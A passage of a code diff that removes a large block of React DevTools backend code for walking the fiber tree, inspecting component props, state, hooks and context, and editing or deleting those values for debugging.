-      if (node.tag === HostComponent || node.tag === HostText) {
-        fibers.push(node);
-      } else if (node.child) {
-        node.child.return = node;
-        node = node.child;
-        continue;
-      }
-      if (node === fiber) {
-        return fibers;
-      }
-      while (!node.sibling) {
-        if (!node.return || node.return === fiber) {
-          return fibers;
-        }
-        node = node.return;
-      }
-      node.sibling.return = node.return;
-      node = node.sibling;
-    }
-    // Flow needs the return here, but ESLint complains about it.
-    // eslint-disable-next-line no-unreachable
-    return fibers;
-  }
-
-  function findNativeNodesForFiberID(id: number) {
-    try {
-      const fiber = findCurrentFiberUsingSlowPathById(id);
-      if (fiber === null) {
-        return null;
-      }
-
-      const hostFibers = findAllCurrentHostFibers(id);
-      return hostFibers.map(hostFiber => hostFiber.stateNode).filter(Boolean);
-    } catch (err) {
-      // The fiber might have unmounted by now.
-      return null;
-    }
-  }
-
-  function getDisplayNameForFiberID(id: number): null | string {
-    const fiber = idToArbitraryFiberMap.get(id);
-    return fiber != null ? getDisplayNameForFiber(fiber) : null;
-  }
-
-  function getFiberForNative(hostInstance: NativeType) {
-    return renderer.findFiberByHostInstance(hostInstance);
-  }
-
-  function getFiberIDForNative(
-    hostInstance: NativeType,
-    findNearestUnfilteredAncestor: boolean = false,
-  ) {
-    let fiber = renderer.findFiberByHostInstance(hostInstance);
-    if (fiber != null) {
-      if (findNearestUnfilteredAncestor) {
-        while (fiber !== null && shouldFilterFiber(fiber)) {
-          fiber = fiber.return;
-        }
-      }
-      return getFiberIDThrows(((fiber: any): Fiber));
-    }
-    return null;
-  }
-
-  // This function is copied from React and should be kept in sync:
-  // https://github.com/facebook/react/blob/main/packages/react-reconciler/src/ReactFiberTreeReflection.js
-  function assertIsMounted(fiber: Fiber) {
-    if (getNearestMountedFiber(fiber) !== fiber) {
-      throw new Error('Unable to find node on an unmounted component.');
-    }
-  }
-
-  // This function is copied from React and should be kept in sync:
-  // https://github.com/facebook/react/blob/main/packages/react-reconciler/src/ReactFiberTreeReflection.js
-  function getNearestMountedFiber(fiber: Fiber): null | Fiber {
-    let node = fiber;
-    let nearestMounted: null | Fiber = fiber;
-    if (!fiber.alternate) {
-      // If there is no alternate, this might be a new tree that isn't inserted
-      // yet. If it is, then it will have a pending insertion effect on it.
-      let nextNode: Fiber = node;
-      do {
-        node = nextNode;
-        // TODO: This function, and these flags, are a leaked implementation
-        // detail. Once we start releasing DevTools in lockstep with React, we
-        // should import a function from the reconciler instead.
-        const Placement = 0b000000000000000000000000010;
-        const Hydrating = 0b000000000000001000000000000;
-        if ((node.flags & (Placement | Hydrating)) !== 0) {
-          // This is an insertion or in-progress hydration. The nearest possible
-          // mounted fiber is the parent but we need to continue to figure out
-          // if that one is still mounted.
-          nearestMounted = node.return;
-        }
-        // $FlowFixMe[incompatible-type] we bail out when we get a null
-        nextNode = node.return;
-      } while (nextNode);
-    } else {
-      while (node.return) {
-        node = node.return;
-      }
-    }
-    if (node.tag === HostRoot) {
-      // TODO: Check if this was a nested HostRoot when used with
-      // renderContainerIntoSubtree.
-      return nearestMounted;
-    }
-    // If we didn't hit the root, that means that we're in an disconnected tree
-    // that has been unmounted.
-    return null;
-  }
-
-  // This function is copied from React and should be kept in sync:
-  // https://github.com/facebook/react/blob/main/packages/react-reconciler/src/ReactFiberTreeReflection.js
-  // It would be nice if we updated React to inject this function directly (vs just indirectly via findDOMNode).
-  // BEGIN copied code
-  function findCurrentFiberUsingSlowPathById(id: number): Fiber | null {
-    const fiber = idToArbitraryFiberMap.get(id);
-    if (fiber == null) {
-      console.warn(`Could not find Fiber with id "${id}"`);
-      return null;
-    }
-
-    const alternate = fiber.alternate;
-    if (!alternate) {
-      // If there is no alternate, then we only need to check if it is mounted.
-      const nearestMounted = getNearestMountedFiber(fiber);
-
-      if (nearestMounted === null) {
-        throw new Error('Unable to find node on an unmounted component.');
-      }
-
-      if (nearestMounted !== fiber) {
-        return null;
-      }
-      return fiber;
-    }
-    // If we have two possible branches, we'll walk backwards up to the root
-    // to see what path the root points to. On the way we may hit one of the
-    // special cases and we'll deal with them.
-    let a: Fiber = fiber;
-    let b: Fiber = alternate;
-    while (true) {
-      const parentA = a.return;
-      if (parentA === null) {
-        // We're at the root.
-        break;
-      }
-      const parentB = parentA.alternate;
-      if (parentB === null) {
-        // There is no alternate. This is an unusual case. Currently, it only
-        // happens when a Suspense component is hidden. An extra fragment fiber
-        // is inserted in between the Suspense fiber and its children. Skip
-        // over this extra fragment fiber and proceed to the next parent.
-        const nextParent = parentA.return;
-        if (nextParent !== null) {
-          a = b = nextParent;
-          continue;
-        }
-        // If there's no parent, we're at the root.
-        break;
-      }
-
-      // If both copies of the parent fiber point to the same child, we can
-      // assume that the child is current. This happens when we bailout on low
-      // priority: the bailed out fiber's child reuses the current child.
-      if (parentA.child === parentB.child) {
-        let child = parentA.child;
-        while (child) {
-          if (child === a) {
-            // We've determined that A is the current branch.
-            assertIsMounted(parentA);
-            return fiber;
-          }
-          if (child === b) {
-            // We've determined that B is the current branch.
-            assertIsMounted(parentA);
-            return alternate;
-          }
-          child = child.sibling;
-        }
-
-        // We should never have an alternate for any mounting node. So the only
-        // way this could possibly happen is if this was unmounted, if at all.
-        throw new Error('Unable to find node on an unmounted component.');
-      }
-
-      if (a.return !== b.return) {
-        // The return pointer of A and the return pointer of B point to different
-        // fibers. We assume that return pointers never criss-cross, so A must
-        // belong to the child set of A.return, and B must belong to the child
-        // set of B.return.
-        a = parentA;
-        b = parentB;
-      } else {
-        // The return pointers point to the same fiber. We'll have to use the
-        // default, slow path: scan the child sets of each parent alternate to see
-        // which child belongs to which set.
-        //
-        // Search parent A's child set
-        let didFindChild = false;
-        let child = parentA.child;
-        while (child) {
-          if (child === a) {
-            didFindChild = true;
-            a = parentA;
-            b = parentB;
-            break;
-          }
-          if (child === b) {
-            didFindChild = true;
-            b = parentA;
-            a = parentB;
-            break;
-          }
-          child = child.sibling;
-        }
-        if (!didFindChild) {
-          // Search parent B's child set
-          child = parentB.child;
-          while (child) {
-            if (child === a) {
-              didFindChild = true;
-              a = parentB;
-              b = parentA;
-              break;
-            }
-            if (child === b) {
-              didFindChild = true;
-              b = parentB;
-              a = parentA;
-              break;
-            }
-            child = child.sibling;
-          }
-
-          if (!didFindChild) {
-            throw new Error(
-              'Child was not found in either parent set. This indicates a bug ' +
-                'in React related to the return pointer. Please file an issue.',
-            );
-          }
-        }
-      }
-
-      if (a.alternate !== b) {
-        throw new Error(
-          "Return fibers should always be each others' alternates. " +
-            'This error is likely caused by a bug in React. Please file an issue.',
-        );
-      }
-    }
-
-    // If the root is not a host container, we're in a disconnected tree. I.e.
-    // unmounted.
-    if (a.tag !== HostRoot) {
-      throw new Error('Unable to find node on an unmounted component.');
-    }
-
-    if (a.stateNode.current === a) {
-      // We've determined that A is the current branch.
-      return fiber;
-    }
-    // Otherwise B has to be current branch.
-    return alternate;
-  }
-
-  // END copied code
-
-  function prepareViewAttributeSource(
-    id: number,
-    path: Array<string | number>,
-  ): void {
-    if (isMostRecentlyInspectedElement(id)) {
-      window.$attribute = getInObject(
-        ((mostRecentlyInspectedElement: any): InspectedElement),
-        path,
-      );
-    }
-  }
-
-  function prepareViewElementSource(id: number): void {
-    const fiber = idToArbitraryFiberMap.get(id);
-    if (fiber == null) {
-      console.warn(`Could not find Fiber with id "${id}"`);
-      return;
-    }
-
-    const {elementType, tag, type} = fiber;
-
-    switch (tag) {
-      case ClassComponent:
-      case IncompleteClassComponent:
-      case IncompleteFunctionComponent:
-      case IndeterminateComponent:
-      case FunctionComponent:
-        global.$type = type;
-        break;
-      case ForwardRef:
-        global.$type = type.render;
-        break;
-      case MemoComponent:
-      case SimpleMemoComponent:
-        global.$type =
-          elementType != null && elementType.type != null
-            ? elementType.type
-            : type;
-        break;
-      default:
-        global.$type = null;
-        break;
-    }
-  }
-
-  function fiberToSerializedElement(fiber: Fiber): SerializedElement {
-    return {
-      displayName: getDisplayNameForFiber(fiber) || 'Anonymous',
-      id: getFiberIDThrows(fiber),
-      key: fiber.key,
-      type: getElementTypeForFiber(fiber),
-    };
-  }
-
-  function getOwnersList(id: number): Array<SerializedElement> | null {
-    const fiber = findCurrentFiberUsingSlowPathById(id);
-    if (fiber == null) {
-      return null;
-    }
-
-    const owners: Array<SerializedElement> = [fiberToSerializedElement(fiber)];
-
-    let owner = fiber._debugOwner;
-    while (owner != null) {
-      if (typeof owner.tag === 'number') {
-        const ownerFiber: Fiber = (owner: any); // Refined
-        owners.unshift(fiberToSerializedElement(ownerFiber));
-        owner = ownerFiber._debugOwner;
-      } else {
-        // TODO: Track Server Component Owners.
-        break;
-      }
-    }
-
-    return owners;
-  }
-
-  // Fast path props lookup for React Native style editor.
-  // Could use inspectElementRaw() but that would require shallow rendering hooks components,
-  // and could also mess with memoization.
-  function getInstanceAndStyle(id: number): InstanceAndStyle {
-    let instance = null;
-    let style = null;
-
-    const fiber = findCurrentFiberUsingSlowPathById(id);
-    if (fiber !== null) {
-      instance = fiber.stateNode;
-
-      if (fiber.memoizedProps !== null) {
-        style = fiber.memoizedProps.style;
-      }
-    }
-
-    return {instance, style};
-  }
-
-  function isErrorBoundary(fiber: Fiber): boolean {
-    const {tag, type} = fiber;
-
-    switch (tag) {
-      case ClassComponent:
-      case IncompleteClassComponent:
-        const instance = fiber.stateNode;
-        return (
-          typeof type.getDerivedStateFromError === 'function' ||
-          (instance !== null &&
-            typeof instance.componentDidCatch === 'function')
-        );
-      default:
-        return false;
-    }
-  }
-
-  function getNearestErrorBoundaryID(fiber: Fiber): number | null {
-    let parent = fiber.return;
-    while (parent !== null) {
-      if (isErrorBoundary(parent)) {
-        return getFiberIDUnsafe(parent);
-      }
-      parent = parent.return;
-    }
-    return null;
-  }
-
-  function inspectElementRaw(id: number): InspectedElement | null {
-    const fiber = findCurrentFiberUsingSlowPathById(id);
-    if (fiber == null) {
-      return null;
-    }
-
-    const {
-      _debugOwner: debugOwner,
-      stateNode,
-      key,
-      memoizedProps,
-      memoizedState,
-      dependencies,
-      tag,
-      type,
-    } = fiber;
-
-    const elementType = getElementTypeForFiber(fiber);
-
-    const usesHooks =
-      (tag === FunctionComponent ||
-        tag === SimpleMemoComponent ||
-        tag === ForwardRef) &&
-      (!!memoizedState || !!dependencies);
-
-    // TODO Show custom UI for Cache like we do for Suspense
-    // For now, just hide state data entirely since it's not meant to be inspected.
-    const showState = !usesHooks && tag !== CacheComponent;
-
-    const typeSymbol = getTypeSymbol(type);
-
-    let canViewSource = false;
-    let context = null;
-    if (
-      tag === ClassComponent ||
-      tag === FunctionComponent ||
-      tag === IncompleteClassComponent ||
-      tag === IncompleteFunctionComponent ||
-      tag === IndeterminateComponent ||
-      tag === MemoComponent ||
-      tag === ForwardRef ||
-      tag === SimpleMemoComponent
-    ) {
-      canViewSource = true;
-      if (stateNode && stateNode.context != null) {
-        // Don't show an empty context object for class components that don't use the context API.
-        const shouldHideContext =
-          elementType === ElementTypeClass &&
-          !(type.contextTypes || type.contextType);
-
-        if (!shouldHideContext) {
-          context = stateNode.context;
-        }
-      }
-    } else if (
-      // Detect pre-19 Context Consumers
-      (typeSymbol === CONTEXT_NUMBER || typeSymbol === CONTEXT_SYMBOL_STRING) &&
-      !(
-        // In 19+, CONTEXT_SYMBOL_STRING means a Provider instead.
-        // It will be handled in a different branch below.
-        // Eventually, this entire branch can be removed.
-        (type._context === undefined && type.Provider === type)
-      )
-    ) {
-      // 16.3-16.5 read from "type" because the Consumer is the actual context object.
-      // 16.6+ should read from "type._context" because Consumer can be different (in DEV).
-      // NOTE Keep in sync with getDisplayNameForFiber()
-      const consumerResolvedContext = type._context || type;
-
-      // Global context value.
-      context = consumerResolvedContext._currentValue || null;
-
-      // Look for overridden value.
-      let current = ((fiber: any): Fiber).return;
-      while (current !== null) {
-        const currentType = current.type;
-        const currentTypeSymbol = getTypeSymbol(currentType);
-        if (
-          currentTypeSymbol === PROVIDER_NUMBER ||
-          currentTypeSymbol === PROVIDER_SYMBOL_STRING
-        ) {
-          // 16.3.0 exposed the context object as "context"
-          // PR #12501 changed it to "_context" for 16.3.1+
-          // NOTE Keep in sync with getDisplayNameForFiber()
-          const providerResolvedContext =
-            currentType._context || currentType.context;
-          if (providerResolvedContext === consumerResolvedContext) {
-            context = current.memoizedProps.value;
-            break;
-          }
-        }
-
-        current = current.return;
-      }
-    } else if (
-      // Detect 19+ Context Consumers
-      typeSymbol === CONSUMER_SYMBOL_STRING
-    ) {
-      // This branch is 19+ only, where Context.Provider === Context.
-      // NOTE Keep in sync with getDisplayNameForFiber()
-      const consumerResolvedContext = type._context;
-
-      // Global context value.
-      context = consumerResolvedContext._currentValue || null;
-
-      // Look for overridden value.
-      let current = ((fiber: any): Fiber).return;
-      while (current !== null) {
-        const currentType = current.type;
-        const currentTypeSymbol = getTypeSymbol(currentType);
-        if (
-          // In 19+, these are Context Providers
-          currentTypeSymbol === CONTEXT_SYMBOL_STRING
-        ) {
-          const providerResolvedContext = currentType;
-          if (providerResolvedContext === consumerResolvedContext) {
-            context = current.memoizedProps.value;
-            break;
-          }
-        }
-
-        current = current.return;
-      }
-    }
-
-    let hasLegacyContext = false;
-    if (context !== null) {
-      hasLegacyContext = !!type.contextTypes;
-
-      // To simplify hydration and display logic for context, wrap in a value object.
-      // Otherwise simple values (e.g. strings, booleans) become harder to handle.
-      context = {value: context};
-    }
-
-    let owners: null | Array<SerializedElement> = null;
-    let owner = debugOwner;
-    while (owner != null) {
-      if (typeof owner.tag === 'number') {
-        const ownerFiber: Fiber = (owner: any); // Refined
-        if (owners === null) {
-          owners = [];
-        }
-        owners.push(fiberToSerializedElement(ownerFiber));
-        owner = ownerFiber._debugOwner;
-      } else {
-        // TODO: Track Server Component Owners.
-        break;
-      }
-    }
-
-    const isTimedOutSuspense =
-      tag === SuspenseComponent && memoizedState !== null;
-
-    let hooks = null;
-    if (usesHooks) {
-      const originalConsoleMethods: {[string]: $FlowFixMe} = {};
-
-      // Temporarily disable all console logging before re-running the hook.
-      for (const method in console) {
-        try {
-          originalConsoleMethods[method] = console[method];
-          // $FlowFixMe[prop-missing]
-          console[method] = () => {};
-        } catch (error) {}
-      }
-
-      try {
-        hooks = inspectHooksOfFiber(fiber, getDispatcherRef(renderer));
-      } finally {
-        // Restore original console functionality.
-        for (const method in originalConsoleMethods) {
-          try {
-            // $FlowFixMe[prop-missing]
-            console[method] = originalConsoleMethods[method];
-          } catch (error) {}
-        }
-      }
-    }
-
-    let rootType = null;
-    let current = fiber;
-    while (current.return !== null) {
-      current = current.return;
-    }
-    const fiberRoot = current.stateNode;
-    if (fiberRoot != null && fiberRoot._debugRootType !== null) {
-      rootType = fiberRoot._debugRootType;
-    }
-
-    const errors = fiberIDToErrorsMap.get(id) || new Map();
-    const warnings = fiberIDToWarningsMap.get(id) || new Map();
-
-    let isErrored = false;
-    let targetErrorBoundaryID;
-    if (isErrorBoundary(fiber)) {
-      // if the current inspected element is an error boundary,
-      // either that we want to use it to toggle off error state
-      // or that we allow to force error state on it if it's within another
-      // error boundary
-      //
-      // TODO: This flag is a leaked implementation detail. Once we start
-      // releasing DevTools in lockstep with React, we should import a function
-      // from the reconciler instead.
-      const DidCapture = 0b000000000000000000010000000;
-      isErrored =
-        (fiber.flags & DidCapture) !== 0 ||
-        forceErrorForFiberIDs.get(id) === true;
-      targetErrorBoundaryID = isErrored ? id : getNearestErrorBoundaryID(fiber);
-    } else {
-      targetErrorBoundaryID = getNearestErrorBoundaryID(fiber);
-    }
-
-    const plugins: Plugins = {
-      stylex: null,
-    };
-
-    if (enableStyleXFeatures) {
-      if (memoizedProps != null && memoizedProps.hasOwnProperty('xstyle')) {
-        plugins.stylex = getStyleXData(memoizedProps.xstyle);
-      }
-    }
-
-    let source = null;
-    if (canViewSource) {
-      source = getSourceForFiber(fiber);
-    }
-
-    return {
-      id,
-
-      // Does the current renderer support editable hooks and function props?
-      canEditHooks: typeof overrideHookState === 'function',
-      canEditFunctionProps: typeof overrideProps === 'function',
-
-      // Does the current renderer support advanced editing interface?
-      canEditHooksAndDeletePaths:
-        typeof overrideHookStateDeletePath === 'function',
-      canEditHooksAndRenamePaths:
-        typeof overrideHookStateRenamePath === 'function',
-      canEditFunctionPropsDeletePaths:
-        typeof overridePropsDeletePath === 'function',
-      canEditFunctionPropsRenamePaths:
-        typeof overridePropsRenamePath === 'function',
-
-      canToggleError: supportsTogglingError && targetErrorBoundaryID != null,
-      // Is this error boundary in error state.
-      isErrored,
-      targetErrorBoundaryID,
-
-      canToggleSuspense:
-        supportsTogglingSuspense &&
-        // If it's showing the real content, we can always flip fallback.
-        (!isTimedOutSuspense ||
-          // If it's showing fallback because we previously forced it to,
-          // allow toggling it back to remove the fallback override.
-          forceFallbackForSuspenseIDs.has(id)),
-
-      // Can view component source location.
-      canViewSource,
-      source,
-
-      // Does the component have legacy context attached to it.
-      hasLegacyContext,
-
-      key: key != null ? key : null,
-
-      displayName: getDisplayNameForFiber(fiber),
-      type: elementType,
-
-      // Inspectable properties.
-      // TODO Review sanitization approach for the below inspectable values.
-      context,
-      hooks,
-      props: memoizedProps,
-      state: showState ? memoizedState : null,
-      errors: Array.from(errors.entries()),
-      warnings: Array.from(warnings.entries()),
-
-      // List of owners
-      owners,
-
-      rootType,
-      rendererPackageName: renderer.rendererPackageName,
-      rendererVersion: renderer.version,
-
-      plugins,
-    };
-  }
-
-  let mostRecentlyInspectedElement: InspectedElement | null = null;
-  let hasElementUpdatedSinceLastInspected: boolean = false;
-  let currentlyInspectedPaths: Object = {};
-
-  function isMostRecentlyInspectedElement(id: number): boolean {
-    return (
-      mostRecentlyInspectedElement !== null &&
-      mostRecentlyInspectedElement.id === id
-    );
-  }
-
-  function isMostRecentlyInspectedElementCurrent(id: number): boolean {
-    return (
-      isMostRecentlyInspectedElement(id) && !hasElementUpdatedSinceLastInspected
-    );
-  }
-
-  // Track the intersection of currently inspected paths,
-  // so that we can send their data along if the element is re-rendered.
-  function mergeInspectedPaths(path: Array<string | number>) {
-    let current = currentlyInspectedPaths;
-    path.forEach(key => {
-      if (!current[key]) {
-        current[key] = {};
-      }
-      current = current[key];
-    });
-  }
-
-  function createIsPathAllowed(
-    key: string | null,
-    secondaryCategory: 'hooks' | null,
-  ) {
-    // This function helps prevent previously-inspected paths from being dehydrated in updates.
-    // This is important to avoid a bad user experience where expanded toggles collapse on update.
-    return function isPathAllowed(path: Array<string | number>): boolean {
-      switch (secondaryCategory) {
-        case 'hooks':
-          if (path.length === 1) {
-            // Never dehydrate the "hooks" object at the top levels.
-            return true;
-          }
-
-          if (
-            path[path.length - 2] === 'hookSource' &&
-            path[path.length - 1] === 'fileName'
-          ) {
-            // It's important to preserve the full file name (URL) for hook sources
-            // in case the user has enabled the named hooks feature.
-            // Otherwise the frontend may end up with a partial URL which it can't load.
-            return true;
-          }
-
-          if (
-            path[path.length - 1] === 'subHooks' ||
-            path[path.length - 2] === 'subHooks'
-          ) {
-            // Dehydrating the 'subHooks' property makes the HooksTree UI a lot more complicated,
-            // so it's easiest for now if we just don't break on this boundary.
-            // We can always dehydrate a level deeper (in the value object).
-            return true;
-          }
-          break;
-        default:
-          break;
-      }
-
-      let current =
-        key === null ? currentlyInspectedPaths : currentlyInspectedPaths[key];
-      if (!current) {
-        return false;
-      }
-      for (let i = 0; i < path.length; i++) {
-        current = current[path[i]];
-        if (!current) {
-          return false;
-        }
-      }
-      return true;
-    };
-  }
-
-  function updateSelectedElement(inspectedElement: InspectedElement): void {
-    const {hooks, id, props} = inspectedElement;
-
-    const fiber = idToArbitraryFiberMap.get(id);
-    if (fiber == null) {
-      console.warn(`Could not find Fiber with id "${id}"`);
-      return;
-    }
-
-    const {elementType, stateNode, tag, type} = fiber;
-
-    switch (tag) {
-      case ClassComponent:
-      case IncompleteClassComponent:
-      case IndeterminateComponent:
-        global.$r = stateNode;
-        break;
-      case IncompleteFunctionComponent:
-      case FunctionComponent:
-        global.$r = {
-          hooks,
-          props,
-          type,
-        };
-        break;
-      case ForwardRef:
-        global.$r = {
-          hooks,
-          props,
-          type: type.render,
-        };
-        break;
-      case MemoComponent:
-      case SimpleMemoComponent:
-        global.$r = {
-          hooks,
-          props,
-          type:
-            elementType != null && elementType.type != null
-              ? elementType.type
-              : type,
-        };
-        break;
-      default:
-        global.$r = null;
-        break;
-    }
-  }
-
-  function storeAsGlobal(
-    id: number,
-    path: Array<string | number>,
-    count: number,
-  ): void {
-    if (isMostRecentlyInspectedElement(id)) {
-      const value = getInObject(
-        ((mostRecentlyInspectedElement: any): InspectedElement),
-        path,
-      );
-      const key = `$reactTemp${count}`;
-
-      window[key] = value;
-
-      console.log(key);
-      console.log(value);
-    }
-  }
-
-  function getSerializedElementValueByPath(
-    id: number,
-    path: Array<string | number>,
-  ): ?string {
-    if (isMostRecentlyInspectedElement(id)) {
-      const valueToCopy = getInObject(
-        ((mostRecentlyInspectedElement: any): InspectedElement),
-        path,
-      );
-
-      return serializeToString(valueToCopy);
-    }
-  }
-
-  function inspectElement(
-    requestID: number,
-    id: number,
-    path: Array<string | number> | null,
-    forceFullData: boolean,
-  ): InspectedElementPayload {
-    if (path !== null) {
-      mergeInspectedPaths(path);
-    }
-
-    if (isMostRecentlyInspectedElement(id) && !forceFullData) {
-      if (!hasElementUpdatedSinceLastInspected) {
-        if (path !== null) {
-          let secondaryCategory = null;
-          if (path[0] === 'hooks') {
-            secondaryCategory = 'hooks';
-          }
-
-          // If this element has not been updated since it was last inspected,
-          // we can just return the subset of data in the newly-inspected path.
-          return {
-            id,
-            responseID: requestID,
-            type: 'hydrated-path',
-            path,
-            value: cleanForBridge(
-              getInObject(
-                ((mostRecentlyInspectedElement: any): InspectedElement),
-                path,
-              ),
-              createIsPathAllowed(null, secondaryCategory),
-              path,
-            ),
-          };
-        } else {
-          // If this element has not been updated since it was last inspected, we don't need to return it.
-          // Instead we can just return the ID to indicate that it has not changed.
-          return {
-            id,
-            responseID: requestID,
-            type: 'no-change',
-          };
-        }
-      }
-    } else {
-      currentlyInspectedPaths = {};
-    }
-
-    hasElementUpdatedSinceLastInspected = false;
-
-    try {
-      mostRecentlyInspectedElement = inspectElementRaw(id);
-    } catch (error) {
-      // the error name is synced with ReactDebugHooks
-      if (error.name === 'ReactDebugToolsRenderError') {
-        let message = 'Error rendering inspected element.';
-        let stack;
-        // Log error & cause for user to debug
-        console.error(message + '\n\n', error);
-        if (error.cause != null) {
-          const fiber = findCurrentFiberUsingSlowPathById(id);
-          const componentName =
-            fiber != null ? getDisplayNameForFiber(fiber) : null;
-          console.error(
-            'React DevTools encountered an error while trying to inspect hooks. ' +
-              'This is most likely caused by an error in current inspected component' +
-              (componentName != null ? `: "${componentName}".` : '.') +
-              '\nThe error thrown in the component is: \n\n',
-            error.cause,
-          );
-          if (error.cause instanceof Error) {
-            message = error.cause.message || message;
-            stack = error.cause.stack;
-          }
-        }
-
-        return {
-          type: 'error',
-          errorType: 'user',
-          id,
-          responseID: requestID,
-          message,
-          stack,
-        };
-      }
-
-      // the error name is synced with ReactDebugHooks
-      if (error.name === 'ReactDebugToolsUnsupportedHookError') {
-        return {
-          type: 'error',
-          errorType: 'unknown-hook',
-          id,
-          responseID: requestID,
-          message:
-            'Unsupported hook in the react-debug-tools package: ' +
-            error.message,
-        };
-      }
-
-      // Log Uncaught Error
-      console.error('Error inspecting element.\n\n', error);
-
-      return {
-        type: 'error',
-        errorType: 'uncaught',
-        id,
-        responseID: requestID,
-        message: error.message,
-        stack: error.stack,
-      };
-    }
-
-    if (mostRecentlyInspectedElement === null) {
-      return {
-        id,
-        responseID: requestID,
-        type: 'not-found',
-      };
-    }
-
-    // Any time an inspected element has an update,
-    // we should update the selected $r value as wel.
-    // Do this before dehydration (cleanForBridge).
-    updateSelectedElement(mostRecentlyInspectedElement);
-
-    // Clone before cleaning so that we preserve the full data.
-    // This will enable us to send patches without re-inspecting if hydrated paths are requested.
-    // (Reducing how often we shallow-render is a better DX for function components that use hooks.)
-    const cleanedInspectedElement = {...mostRecentlyInspectedElement};
-    // $FlowFixMe[prop-missing] found when upgrading Flow
-    cleanedInspectedElement.context = cleanForBridge(
-      cleanedInspectedElement.context,
-      createIsPathAllowed('context', null),
-    );
-    // $FlowFixMe[prop-missing] found when upgrading Flow
-    cleanedInspectedElement.hooks = cleanForBridge(
-      cleanedInspectedElement.hooks,
-      createIsPathAllowed('hooks', 'hooks'),
-    );
-    // $FlowFixMe[prop-missing] found when upgrading Flow
-    cleanedInspectedElement.props = cleanForBridge(
-      cleanedInspectedElement.props,
-      createIsPathAllowed('props', null),
-    );
-    // $FlowFixMe[prop-missing] found when upgrading Flow
-    cleanedInspectedElement.state = cleanForBridge(
-      cleanedInspectedElement.state,
-      createIsPathAllowed('state', null),
-    );
-
-    return {
-      id,
-      responseID: requestID,
-      type: 'full-data',
-      // $FlowFixMe[prop-missing] found when upgrading Flow
-      value: cleanedInspectedElement,
-    };
-  }
-
-  function logElementToConsole(id: number) {
-    const result = isMostRecentlyInspectedElementCurrent(id)
-      ? mostRecentlyInspectedElement
-      : inspectElementRaw(id);
-    if (result === null) {
-      console.warn(`Could not find Fiber with id "${id}"`);
-      return;
-    }
-
-    const supportsGroup = typeof console.groupCollapsed === 'function';
-    if (supportsGroup) {
-      console.groupCollapsed(
-        `[Click to expand] %c<${result.displayName || 'Component'} />`,
-        // --dom-tag-name-color is the CSS variable Chrome styles HTML elements with in the console.
-        'color: var(--dom-tag-name-color); font-weight: normal;',
-      );
-    }
-    if (result.props !== null) {
-      console.log('Props:', result.props);
-    }
-    if (result.state !== null) {
-      console.log('State:', result.state);
-    }
-    if (result.hooks !== null) {
-      console.log('Hooks:', result.hooks);
-    }
-    const nativeNodes = findNativeNodesForFiberID(id);
-    if (nativeNodes !== null) {
-      console.log('Nodes:', nativeNodes);
-    }
-    if (window.chrome || /firefox/i.test(navigator.userAgent)) {
-      console.log(
-        'Right-click any value to save it as a global variable for further inspection.',
-      );
-    }
-    if (supportsGroup) {
-      console.groupEnd();
-    }
-  }
-
-  function deletePath(
-    type: 'context' | 'hooks' | 'props' | 'state',
-    id: number,
-    hookID: ?number,
-    path: Array<string | number>,
-  ): void {
-    const fiber = findCurrentFiberUsingSlowPathById(id);
-    if (fiber !== null) {
-      const instance = fiber.stateNode;
-
-      switch (type) {
-        case 'context':
-          // To simplify hydration and display of primitive context values (e.g. number, string)
-          // the inspectElement() method wraps context in a {value: ...} object.
-          // We need to remove the first part of the path (the "value") before continuing.
-          path = path.slice(1);
-
-          switch (fiber.tag) {
-            case ClassComponent:
-              if (path.length === 0) {
-                // Simple context value (noop)
-              } else {
-                deletePathInObject(instance.context, path);
-              }
-              instance.forceUpdate();
-              break;
-            case FunctionComponent:
-              // Function components using legacy context are not editable
-              // because there's no instance on which to create a cloned, mutated context.
-              break;
-          }
-          break;
-        case 'hooks':
-          if (typeof overrideHookStateDeletePath === 'function') {
-            overrideHookStateDeletePath(fiber, ((hookID: any): number), path);
-          }
-          break;
-        case 'props':
-          if (instance === null) {
-            if (typeof overridePropsDeletePath === 'function') {
-              overridePropsDeletePath(fiber, path);
-            }
-          } else {
-            fiber.pendingProps = copyWithDelete(instance.props, path);
-            instance.forceUpdate();
-          }
-          break;
-        case 'state':
-          deletePathInObject(instance.state, path);
-          instance.forceUpdate();
-          break;
-      }
-    }
-  }
-
-  function renamePath(
-    type: 'context' | 'hooks' | 'props' | 'state',
-    id: number,
-    hookID: ?number,
-    oldPath: Array<string | number>,
-    newPath: Array<string | number>,
-  ): void {
-    const fiber = findCurrentFiberUsingSlowPathById(id);
-    if (fiber !== null) {
-      const instance = fiber.stateNode;
-
-      switch (type) {
-        case 'context':
-          // To simplify hydration and display of primitive context values (e.g. number, string)
-          // the inspectElement() method wraps context in a {value: ...} object.
-          // We need to remove the first part of the path (the "value") before continuing.
-          oldPath = oldPath.slice(1);
-          newPath = newPath.slice(1);
-
-          switch (fiber.tag) {
-            case ClassComponent:
-              if (oldPath.length === 0) {
-                // Simple context value (noop)
-              } else {
-                renamePathInObject(instance.context, oldPath, newPath);
-              }
-              instance.forceUpdate();
-              break;
-            case FunctionComponent:
-              // Function components using legacy context are not editable
-              // because there's no instance on which to create a cloned, mutated context.
-              break;
-          }
-          break;
-        case 'hooks':
-          if (typeof overrideHookStateRenamePath === 'function') {
-            overrideHookStateRenamePath(
-              fiber,
-              ((hookID: any): number),
-              oldPath,
-              newPath,
-            );
-          }
-          break;
-        case 'props':
-          if (instance === null) {
-            if (typeof overridePropsRenamePath === 'function') {
-              overridePropsRenamePath(fiber, oldPath, newPath);
-            }
-          } else {
-            fiber.pendingProps = copyWithRename(
-              instance.props,
-              oldPath,
-              newPath,
-            );
-            instance.forceUpdate();
-          }
-          break;
-        case 'state':
-          renamePathInObject(instance.state, oldPath, newPath);
-          instance.forceUpdate();
-          break;
-      }
-    }
-  }
-
-  function overrideValueAtPath(
-    type: 'context' | 'hooks' | 'props' | 'state',
-    id: number,
-    hookID: ?number,
-    path: Array<string | number>,
-    value: any,
-  ): void {
-    const fiber = findCurrentFiberUsingSlowPathById(id);
-    if (fiber !== null) {
-      const instance = fiber.stateNode;
-
-      switch (type) {
-        case 'context':
-          // To simplify hydration and display of primitive context values (e.g. number, string)
-          // the inspectElement() method wraps context in a {value: ...} object.
-          // We need to remove the first part of the path (the "value") before continuing.
-          path = path.slice(1);
-
-          switch (fiber.tag) {
-            case ClassComponent:
-              if (path.length === 0) {
-                // Simple context value
-                instance.context = value;
-              } else {
-                setInObject(instance.context, path, value);
-              }
-              instance.forceUpdate();
-              break;
-            case FunctionComponent:
-              // Function components using legacy context are not editable
-              // because there's no instance on which to create a cloned, mutated context.
-              break;
-          }
-          break;
-        case 'hooks':
